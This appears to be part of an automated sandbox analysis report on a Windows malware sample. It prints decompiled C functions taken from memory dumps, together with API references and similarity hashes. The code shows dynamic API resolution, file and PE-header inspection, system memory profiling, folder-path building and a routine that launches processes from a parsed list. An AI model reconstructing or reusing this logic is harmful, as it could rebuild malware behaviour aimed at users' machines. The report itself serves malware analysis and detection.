					_t49 =  *0x41a2b0; // 0x878010
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x8781d8
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x878838
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x878028
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x878718
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x8780b8
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(00877768,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(00877768,?), ref: 00407994
LoadLibraryA.KERNEL32(00875638), ref: 004079B2
GetProcAddress.KERNEL32(00000000,00878010), ref: 004079D7
GetProcAddress.KERNEL32(00000000,008781D8), ref: 004079F0
GetProcAddress.KERNEL32(00000000,00878838), ref: 00407A08
GetProcAddress.KERNEL32(00000000,00878028), ref: 00407A20
GetProcAddress.KERNEL32(00000000,00878718), ref: 00407A39
GetProcAddress.KERNEL32(00000000,008780B8), ref: 00407A51

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID:
API String ID: 570708976-0
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00637B50, Relevance: 18.1, APIs: 12, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0041A034,0041B488,0000FFFF), ref: 00637B7E
lstrcat.KERNEL32(?,0041B488), ref: 00637BAD
lstrcat.KERNEL32(?,004191E8), ref: 00637BBF
lstrcat.KERNEL32(?,00000000), ref: 00637BD0
SetEnvironmentVariableA.KERNEL32(0041A034,?), ref: 00637BE4
LoadLibraryA.KERNEL32(0041A6CC), ref: 00637C02
GetProcAddress.KERNEL32(0041A824,0041A2B0), ref: 00637C27
GetProcAddress.KERNEL32(0041A824,0041A628), ref: 00637C40
GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 00637C58
GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 00637C70
GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 00637C89
GetProcAddress.KERNEL32(0041A824,0041A358), ref: 00637CA1

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID:
API String ID: 570708976-0
Opcode ID: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction ID: 70eab604065b90d86ece9a68d46e77f83b3b05029a5220c50171b5f4d05bec68
Opcode Fuzzy Hash: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction Fuzzy Hash: AF4160B4112204DFD724EFA8ED48AF537F9BB08305F04C57AF10582660C77999A2CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

PE, xrefs: 004118AA
(, xrefs: 004117FA

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00641970, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0064197E
GetFileSize.KERNEL32(00000000,00000000), ref: 00641A41
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00641A5E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00641A74
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00641A84
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00641A9A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00641AC3

Strings

PE, xrefs: 00641AFA
(, xrefs: 00641A4A

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: 4b392b5917c0b02af902e44f4fd2b7f549fc93957c59b044abe2d2e2b47a33f9
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7F8128B1E10208AFDB18CFD8D895BEEBBB6FB89301F14C459E505AF284D7309A81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00435CB9, Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435F15
__aulldiv.LIBCMT ref: 00435F37
_write_multi_char.LIBCMTD ref: 0043603E
_write_string.LIBCMTD ref: 00436059
_write_multi_char.LIBCMTD ref: 00436085
_wctomb_s.LIBCMTD ref: 00436102

Strings

-, xrefs: 00435FDE
9, xrefs: 00435F48

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 2197463554-1631151375
Opcode ID: c63c49336ba11b1e25865fc4b9ae03827771c9a06d4f6165f610c969f1ecffe2
Instruction ID: f7d6ae1d73f6aecf38ee8b2b0c1dce3fb8e2ffb1f2c226d0d316bb542ddeb9ed
Opcode Fuzzy Hash: c63c49336ba11b1e25865fc4b9ae03827771c9a06d4f6165f610c969f1ecffe2
Instruction Fuzzy Hash: CEF129B1D056299FDF24CF58CC89BAEB7B1BB48304F14919AE419A7281D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x875d20
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x875be8
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x875d68
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x875cf0
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x85e518
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(00875D20,?,?,004061B1,?,00875D20,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(0041AC88,00875D20,00875D20,?,004061B1,?,00875D20), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

<, xrefs: 00405CD4

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <
API String ID: 2415926151-4251816714
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00635D50, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 178stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 00635E0A
lstrcat.KERNEL32(?,00000000), ref: 00635E23

Part of subcall function 0063C1A0: SHGetFolderPathA.SHELL32(00000000,00635E30,00000000,00000000,?,?,000003E8), ref: 0063C1CB

Part of subcall function 0063C100: StrStrA.SHLWAPI(0041A574,?,?,00635E47,?,0041A574,00000000), ref: 0063C10E

lstrcpy.KERNEL32(?,00000000), ref: 00635E52

Part of subcall function 0063C100: lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,00635E47,?,0041A574), ref: 0063C132
Part of subcall function 0063C100: wsprintfA.USER32 ref: 0063C18B

lstrcpy.KERNEL32(?,00000000), ref: 00635E81
lstrcpy.KERNEL32(?,00000000), ref: 00635EB0
lstrcpy.KERNEL32(?,00000000), ref: 00635EDF

Strings

<, xrefs: 00635F24

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <
API String ID: 2415926151-4251816714
Opcode ID: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction ID: a9db8e3d778a908edc13e50ea00df8298017c1656e6e9eaa9955dba945b0873f
Opcode Fuzzy Hash: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction Fuzzy Hash: 036162F1D00218ABDB65EB60CC86FDE7379AB48304F0045D9F309A6192DB759B88CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0CB, Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D330
__aulldiv.LIBCMT ref: 0043D352
_write_multi_char.LIBCMTD ref: 0043D46B
_write_string.LIBCMTD ref: 0043D486
_write_multi_char.LIBCMTD ref: 0043D4B2
__mbtowc_l.LIBCMTD ref: 0043D521

Strings

9, xrefs: 0043D363

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 850363499-2366072709
Opcode ID: 32c13d3959b85cb46700a9bebf4043c9871980598d8d16b1fdfb177136860720
Instruction ID: 9f534c90d8a66a4dc082037c4dd14d3edf55f7dab0669611947f149a2e0ec5c6
Opcode Fuzzy Hash: 32c13d3959b85cb46700a9bebf4043c9871980598d8d16b1fdfb177136860720
Instruction Fuzzy Hash: 35F12BF1D002299FDF24CF58DC81BAEB7B5BB89304F14519AE609A7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84);
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

%d MB, xrefs: 0040B073
@, xrefs: 0040B02B

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 0063B250, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063B25D
RtlAllocateHeap.NTDLL(00000000), ref: 0063B264
memset.NTDLL ref: 0063B275
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0063B286
__aulldiv.LIBCMT ref: 0063B2A0
wsprintfA.USER32 ref: 0063B2CC

Strings

@, xrefs: 0063B27B
([c, xrefs: 0063B2C8, 0063B2D5, 0063B2CB

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: ([c$@
API String ID: 3391354518-3862613556
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: b97f9d99a16b0c6e63ee9ee503c493b94c85559ec6c33b7f2768fdb87171529c
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 08010CB1D40208ABDB00DFE4DD49BEEB7B8FF48700F108A58F615AB280D7B59A118B95

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 13.7, APIs: 9, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_v10544 = E00413730(0, 0x6400000, 0);
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x860410
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x872348
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x875778
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x875d08
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x8777a8
				_t93 =  *0x41a288; // 0x875cd8
				_t109 =  *0x41a7c4; // 0x875778
				_t52 =  *0x41a368; // 0x872348
				 *0x41aa24( &_v10268, E004051A0(_t93, _t133, _t52, _t109, _t93, _t51));
				E00406320( &_v10268, _t133,  &_v10268, _v10544);
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x8772e0
				E004049E0( &_v10268,  &_v10540, _t111);
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x0
				_t61 =  *0x41abac; // 0x0
				_t97 =  *0x41aba4; // 0x0
				E0040A700(_t133, _v10544, _t97, _t61, _t112);
				E00401470(_v10544);
				E004056E0(_v10544, _t133, _v10544);
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544);
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x875cd8
				_t116 =  *0x41a7c4; // 0x875778
				_t71 =  *0x41a368; // 0x872348
				 *0x41aa24( &_v5004, E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272));
				_t117 =  *0x41a6a8; // 0x878148
				SetCurrentDirectoryA(_t117);
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4);
				E00405DE0();
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
